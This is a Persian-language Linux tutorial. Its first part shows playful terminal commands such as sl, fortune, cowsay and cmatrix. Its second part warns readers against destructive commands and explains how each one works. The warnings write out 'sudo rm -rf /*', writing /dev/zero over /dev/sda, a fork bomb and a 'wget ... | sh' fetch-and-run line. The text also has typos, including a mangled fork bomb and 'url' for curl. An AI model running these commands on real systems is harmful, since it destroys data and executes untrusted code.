

# دستورات جالب در لینوکس

ارائه دهنده: قوام الدین سلیمانی

دستور sl (لوکوموتیو بخار)

```
root@qavams:~# apt-get install sl      (In Debian like OS)
```

کد:

```
root@qavams:~# sl
```

دستور fortune

```
root@qavams:~# apt-get install fortune  (for aptitude based system)
```

کد:

```
root@qavams:~# fortune
```

دستور rev مخفف Reverse

کد:

```
root@qavams:~# rev
```

دستور factor

کد:

```
root@qavams:~# factor
```

script

```
root@qavams:~# for i in {1..12}; do for j in $(seq 1 $i); do echo -ne $i$—$j=$((i*j))\\t;done;
echo;done
```

۱\$—1=1

۲\$—1=2 2\$—2=4

۳\$—1=3 3\$—2=6 3\$—3=9

۴\$—1=4 4\$—2=8 4\$—3=12 4\$—4=16

۵\$—1=5 5\$—2=10 5\$—3=15 5\$—4=20 5\$—5=25

۶\$—1=6 6\$—2=12 6\$—3=18 6\$—4=24 6\$—5=30 6\$—6=36

۷\$—1=7 7\$—2=14 7\$—3=21 7\$—4=28 7\$—5=35 7\$—6=42 7\$—7=49

۸\$—1=8 8\$—2=16 8\$—3=24 8\$—4=32 8\$—5=40 8\$—6=48 8\$—7=56 8\$—8=64

۹\$—1=9 9\$—2=18 9\$—3=27 9\$—4=36 9\$—5=45 9\$—6=54 9\$—7=63 9\$—8=72 9\$—9=81

۱۰\$—1=10 10\$—2=20 10\$—3=30 10\$—4=40 10\$—5=50 10\$—6=60 10\$—7=70 10\$—8=80 10\$—9=90 10\$—10=100

۱۱\$—1=11 11\$—2=22 11\$—3=33 11\$—4=44 11\$—5=55 11\$—6=66 11\$—7=77 11\$—8=88 11\$—9=99 11\$—10=110 11\$—11=121

۱۲\$—1=12 12\$—2=24 12\$—3=36 12\$—4=48 12\$—5=60 12\$—6=72

دستور Cowsay

```
root@qavams:~# apt-get install cowsay (for Debian based OS)
```

کد:

```
root@qavams:~# cowsay Hello World
```

چطوره دستور fortune توسط cowsay توصف شود؟

```
root@qavams:~# fortune | cowsay
```

"xcowsay" یک برنامه گرافیکی است که عملکردی مشابه با cowsay اما به شیوه گرافیکی دارد.

کد:

```
apt-get install xcowsay
```

کد:

```
root@qavams:~# xcowsay Hello World
```

دستور yes

```
root@qavams:~# yes Hello World
```

دستور cmatrix

```
root@qavams:~# apt-get install cmatrix
```

کد:

```
root@qavams:~# cmatrix
```

دستور: oneko

```
root@qavams:~# apt-get install oneko
```

کد:

```
root@qavams:~# oneko
```

دستور while

```
root@qavams:~# apt-get install toilet
```

کد:

```
root@qavams:~# while true; do echo "$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done
```

or

```
root@qavams:~# while true; do clear; echo "$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done
```

دستور aafire

```
root@qavams:~# apt-get install libaa-bin
```

کد:

```
root@qavams:~# aafire
```

## دستور url

استاتوس تویتر خود را از طریق خط فرمان آپدیت کنید کافی است به جای username, password و your status message موارد مربوط به خود را وارد کنید.

کد:

```
root@qavams:~# url -u YourUsername:YourPassword -d status="Your status message"  
http://twitter.com/statuses/update.xml
```

## ASCIIfish

کد:

```
root@qavams:~# asciiquarium
```

# دستوراتی که هیچگاه نباید در لینوکس استفاده کنید

نکات مهمی که همیشه باید در نظر داشته باشد:

۱. هرگز دستوری رو که نمی‌دونید چکار می‌کنه رو از جایی کپی و در ترمینال پیست نکنید.

۲. حواستون به دستوراتی که برای اجرا به دسترسی ریشه (root) نیاز دارن باشه.

برای اینکه ببینید دستوری چکار می‌کنه، چند راه وجود داره:

۱. از کسی که بهش اعتماد دارید بپرسید که آیا این دستور مشکلی پیش نمی‌اره؟

۲. معمولاً همه‌ی دستورات، یک راهنما دارند که با استفاده از کلمه `man` می‌تونید بهش دسترسی پیدا کنید و

توضیحات مربوط به کارکرد دستور و کاری که سوئیچ‌های مختلفش انجام می‌دن رو مطالعه کنید. مثلاً `man`

`rm`

۳. گاهی دستورات راهنما ندارند، در این صورت می‌تونید از سوئیچ‌های `-h` یا `help` استفاده کنید. مثلاً `rm`

`help`

## چند مثال

اینجا چند تا مثال براتون آوردم که هیچوقت **نباید** استفاده کنیدشون. این فیلم‌ها روی ماشین مجازی گرفته شده تا نتیجه‌ی کار رو ببینید.

۱. یکی از معروف‌ترین این دستورات

```
sudo rm -rf /*
```

دستور `rm` برای پاک کردن فایل در گنو/لینوکس استفاده می‌شه.

وقتی این دستور با سوئیچ `r` مخفف (`recursive`) همراه می‌شه، به صورت تو در تو عمل می‌کنه، یعنی اگر من یک فولدر دارم که درونش ۲ فولدر دیگه وجود داره، اگر با این سوئیچ فولدر اول رو پاک کنم، فولدرهای درونی هم پاک بشن.

این دستور به یک دستور مخربه، یعنی فایل رو پاک می‌کنه، برای همین، برای جلوگیری از اینکه کاربر به اشتباه چیزی رو پاک کنه، دونه دونه از شما می‌پرسه که آیا مطمئنید که می‌خواید این فایل پاک بشه؟ اما اگر سوئیچ `f` (مخفف `force`) رو با این دستور همراه کنیم، دیگه به اجبار و بدون پرسش فایل‌ها رو پاک می‌کنه.

خب می‌بینید که `*` به عنوان فولدر هدف به این دستور داده شده، / فولدر ریشه در سیستم‌های شبهه یونیکس، از جمله گنو/لینوکس هست، و آدرس همه‌ی فایل‌ها از اینجا شروع می‌شن... و این یعنی به دستور `rm` گفتیم از ریشه، همه چیز رو به صورت تو در تو پاک کنه و سوال هم نپرسه!

اما برای این کار ما باید مجوز ریشه (`root`) داشته باشیم، و کلمه `sudo` برای همین گذاشته شد. در نتیجه از ما رمزی خواسته می‌شه تا از هویت ما اطمینان حاصل بشه.

خب ما اینا رو می‌تونستیم از روی `man` یا `help` دستور `rm` متوجه بشیم.

`-f, --force`

`ignore nonexistent files and arguments, never prompt`

`-r, -R, --recursive`

`remove directories and their contents recursively`

۲. هیچوقت هیچ چیز رو به `/dev/sda` کپی نکنید.

`sudo cp /dev/zero /dev/sda`

دستور `cp` برای کپی کردن فایل استفاده می‌شه و به نظر نمیاد مخرب باشه. در سیستم‌های شبهه یونیکسی همه چیز فایل در نظر گرفته می‌شه، مثلاً یک فایل در سیستم وجود داره که کارت صدا رو نمایندگی می‌کنه، یک فایل که هارد دیسک رو، یک فایل که سی‌دی‌رام رو، و به همین ترتیب، حال اگر چیزی رو به کل هارد کپی کنیم چی می‌شه؟ خب اطلاعات موجود در هارد از بین می‌رن، به همین سادگی

۳. هنگام استفاده از دستور `dd` دقت کنید.

دستور `dd` برای کپی کردن از دیسک‌ها استفاده می‌شه... یکی از کاربرداش مثلاً اینه که یک فایل `iso` رو به یک فلش (که به صورت یک فایل در نظر گرفته می‌شه) کپی کرد و یک فلش بوت‌ایبل ساخت.

بنابراین dd هم مثل cp به خودی خود دستور مخربی نیست، اما اگر کاربر نداند که چکار می‌کند می‌تواند مخرب باشد.

اگر اشتباهی چیزی رو به هاردتون dd کنید، اتفاقات بدی خواهد افتاد

#### ۴. فورک بمب

`:O{ :|:& };;`

ظاهر عجیبی داره :) ولی خب سادست.

ما اینجا یه تابع داریم به اسم : که آرگومانی نمی‌گیره، و در بدنه‌ی خودش، خودش رو به صورت بازگشتی صدا می‌زنه و خروجی خودش رو به خودش pipe می‌کنه! نتیجه‌ی این عمل اینه که فراخوانی تابع به صورت تصاعدی زیاد می‌شه و هیچوقت تموم نمی‌شه، که این باعث میشه رم و cpu شما فقط درگیر این کد بشه! و در نهایت سیستم هنگ کنه، یا مشکلات سخت‌افزاری برای رم یا cpu پیش بیاد.

البته در سیستم‌های جدید، و در توزیع‌های به روز، از این مشکل جلوگیری می‌شه، و اینجا هم در ماشین مجازی ویژگی PAE/NX خاموش بود تا شما بتونید ببینید چه اتفاقی می‌افته. اما به هر حال خوبه که از این دستور و هر دستور دیگه‌ای که نمی‌دونید چیه دوری کنید، حتی برای fun هم اجرا نکنید چیزی رو که نمی‌دونید چکار ممکنه بکنه!

#### ۵. دستوراتی که اسکریپتی رو از اینترنت دانلود و اجرا می‌کنند!

`wget http://an-untrusted-url -O- | sh`

این دستور یه script رو دانلود می‌کنه و مستقیماً با sh اجراش می‌کنه! بدون اینکه شما چیزی رو ببینید! به صورت کلی، مواظب این دستورات باشید، هر چیزی رو در هر سایتی دیدید به ترمینال کپی نکنید و enter نزنیند!

توصیه‌ای که برای این دست از دستورات می‌شه اینه که url رو در مرورگر باز کنید و محتویات فایل رو ببینید. اگر مشکلی باهاش نداشتید اونوقت اجراش کنید!